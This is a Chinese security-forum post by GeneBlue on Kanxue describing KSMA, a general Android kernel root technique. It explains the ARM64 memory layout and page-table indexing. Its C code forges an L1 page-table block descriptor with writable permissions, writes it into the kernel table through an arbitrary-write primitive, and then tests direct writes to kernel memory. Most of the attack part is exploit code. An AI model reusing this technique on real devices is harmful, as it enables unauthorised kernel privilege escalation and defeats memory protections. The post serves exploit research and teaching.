其他
KSMA -- Android 通用 Root 技术
AArch64 Linux memory layout with 4KB pages:
Start End Size Use
-----------------------------------------------------------------------
0000000000000000 0000007fffffffff 512GB user
ffffff8000000000 ffffffbbfffeffff ~240GB vmalloc
ffffffbbffff0000 ffffffbbffffffff 64KB [guard page]
ffffffbc00000000 ffffffbdffffffff 8GB vmemmap
ffffffbe00000000 ffffffbffbbfffff ~8GB [guard, future vmmemap]
ffffffbffa000000 ffffffbffaffffff 16MB PCI I/O space
ffffffbffb000000 ffffffbffbbfffff 12MB [guard]
ffffffbffbc00000 ffffffbffbdfffff 2MB fixed mappings
ffffffbffbe00000 ffffffbffbffffff 2MB [guard]
ffffffbffc000000 ffffffbfffffffff 64MB modules
ffffffc000000000 ffffffffffffffff 256GB kernel logical memory map
Translation table lookup with 4KB pages:
+--------+--------+--------+--------+--------+--------+--------+--------+
|63 56|55 48|47 40|39 32|31 24|23 16|15 8|7 0|
+--------+--------+--------+--------+--------+--------+--------+--------+
| | | | | |
| | | | | v
| | | | | [11:0] in-page offset
| | | | +-> [20:12] L3 index
| | | +-----------> [29:21] L2 index
| | +---------------------> [38:30] L1 index
| +-------------------------------> [47:39] L0 index (not used)
+-------------------------------------------------> [63] TTBR0/1
usr 空间地址范围为:0x0000000000000000 ~ 0x0000007fffffffff,共计 512GB kernel 空间地址范围为:0xffffff8000000000 ~ 0xffffffffffffffff,共计 512GB
vaddr = 0xffffffc000080030
ttbr1
poffset = 0x30
L0_index = 0x1ff L1_index = 0x100 L2_index = 0x0 L3_index = 0x80
struct mm_struct init_mm = {
.mm_rb = RB_ROOT,
.pgd = swapper_pg_dir,
.mm_users = ATOMIC_INIT(2),
.mm_count = ATOMIC_INIT(1),
.mmap_sem = __RWSEM_INITIALIZER(init_mm.mmap_sem),
.page_table_lock = __SPIN_LOCK_UNLOCKED(init_mm.page_table_lock),
.mmlist = LIST_HEAD_INIT(init_mm.mmlist),
INIT_MM_CONTEXT(init_mm)
};
`do_execve_common() --> bprm_mm_init() --> mm_alloc() --> mm_init() --> mm_alloc_pgd() --> pgd_alloc()`
项。
bit[7:6]: AP[2:1] 属性,设置对应内存的数据访问权限,需要设置为内存可读写,这是我们关心的 bit[47:30]: output address 表示 d_block 要映射 PA 的 [47:30] bit 位的值。
L1_index = (vaddr & 0x0000007fc0000000) >> 30;
fake_d_block_addr = swapper_pg_dir + L1_index * 0x8;
#define PAGE_OFFSEST 0xffffffc000000000
/**
*
*
Android arm64 Translation table lookup with 4KB pages:
+--------+--------+--------+--------+--------+--------+--------+--------+
|63 56|55 48|47 40|39 32|31 24|23 16|15 8|7 0|
+--------+--------+--------+--------+--------+--------+--------+--------+
| | | | | |
| | | | | v
| | | | | [11:0] in-page offset
| | | | +-> [20:12] L3 index
| | | +-----------> [29:21] L2 index
| | +---------------------> [38:30] L1 index
| +-------------------------------> [47:39] L0 index (not used)
+-------------------------------------------------> [63] TTBR0/1
* 解析 vaddr 获取在页表中各种数值
*/
void parse_vaddr(unsigned long vaddr)
{
int ttrb0 = 0;
int poffset = 0;
int L0_index = 0;
int L1_index = 0;
int L2_index = 0;
int L3_index = 0;
ttrb0 = (vaddr & 0x8000000000000000) >> 63;
poffset = (vaddr & 0x0000000000000fff);
L0_index = (vaddr & 0x0000ff8000000000) >> 39;
L1_index = (vaddr & 0x0000007fc0000000) >> 30;
L2_index = (vaddr & 0x000000003fe00000) >> 21;
L3_index = (vaddr & 0x00000000001ff000) >> 12;
printf("[%s] vaddr = 0x%lx\n", __func__, vaddr);
printf("[%s] ttbr%d \n", __func__, ttrb0);
printf("[%s] poffset = 0x%x\n", __func__, poffset);
printf("[%s] L0_index = 0x%x L1_index = 0x%x L2_index = 0x%x L3_index = 0x%x\n",
__func__, L0_index, L1_index, L2_index, L3_index);
}
/**
* vaddr 是内核内存的空洞区域,伪造其 L1 pagetable 中 d_block 表项
* 以下 bits 位的具体信息要参考 armv8 的手册 D4-1791
* 1 Gb = 0x40000000 Byte
* 0x40000000
*/
void fake_dblock_in_level1_page_table(unsigned long kimg_phys_addr, unsigned long L1_table_start_addr, unsigned long vaddr)
{
unsigned long fake_d_block = 0l;
unsigned long fake_d_block_addr = 0l;
// 计算伪造 vaddr 的L1 页表项位置
int L1_index = 0;
L1_index = (vaddr & 0x0000007fc0000000) >> 30;
fake_d_block_addr = L1_table_start_addr + L1_index * 0x8;
printf("L1_inde = 0x%x fake_d_block_addr = 0x%lx\n", L1_index, fake_d_block_addr);
// d_block 中的内容,主要是修改 AP[2:1], 修改为读写属性
// bit[1:0]
fake_d_block = fake_d_block | (0x0000000000000001); // Y
// bit[11:2] lower block attributes
fake_d_block = fake_d_block | (0x0000000000000800); // nG, bit[11] Y
fake_d_block = fake_d_block | (0x0000000000000400); // AF, bit[10] Y
fake_d_block = fake_d_block | (0x0000000000000200); // SH, bits[9:8]
fake_d_block = fake_d_block | (0x0000000000000040); // AP[2:1], bits[7:6]
fake_d_block = fake_d_block | (0x0000000000000020); // NS, bit[5] Y
fake_d_block = fake_d_block | (0x0000000000000010); // AttrIndx[2:0], bits[4:2]
// bit[29:12] RES0
// bit[47:30] output address
fake_d_block = fake_d_block | (kimg_phys_addr & 0x0000ffffc0000000);
// bit[51:48] RES0
// bit[63:52] upper block attributes, [63:55] ignored
fake_d_block = fake_d_block | (0x0010000000000000); // Contiguous, bit[52]
fake_d_block = fake_d_block | (0x0020000000000000); // PXN, bit[53]
fake_d_block = fake_d_block | (0x0040000000000000); // XN, bit[54]
printf("[fake] vaddr = 0x%lx\n", vaddr);
printf("[fake] fake_d_block_addr = 0x%lx --> 0x%016lx\n", fake_d_block_addr, fake_d_block);
errno = 0;
write_at_address_pipe((void*)fake_d_block_addr, &fake_d_block, sizeof(unsigned long));
printf("write errno = %d %s\n", errno , strerror(errno));
}
void test_addr_directly() {
unsigned long addr = 0xffffffc200000000 + 0x20000000 + 0x80000;
printf("0x%lx --> 0x%lx\n", addr, *(unsigned long *) addr);
*(unsigned long *) addr = 0x100;
printf("0x%lx --> 0x%lx\n", addr, *(unsigned long *) addr);
}
int main(int argc, char *argv[])
{
disable_addr_limit();
unsigned long kimage_phys_addr = 0x20000000; // 内核镜像加载的起始物理地址 memstart_addr 值
unsigned long L1_table_start_addr = 0xffffffc00007d000;
unsigned long fake_kernel_vaddr = 0xffffffc000000000; // 0xffffffc200000000
fake_dblock_in_level1_page_table(kimage_phys_addr, L1_table_start_addr, fake_kernel_vaddr);
test_addr_directly();
return 0;
}
看雪ID:GeneBlue
https://bbs.pediy.com/user-666174.htm
推荐文章++++
好书推荐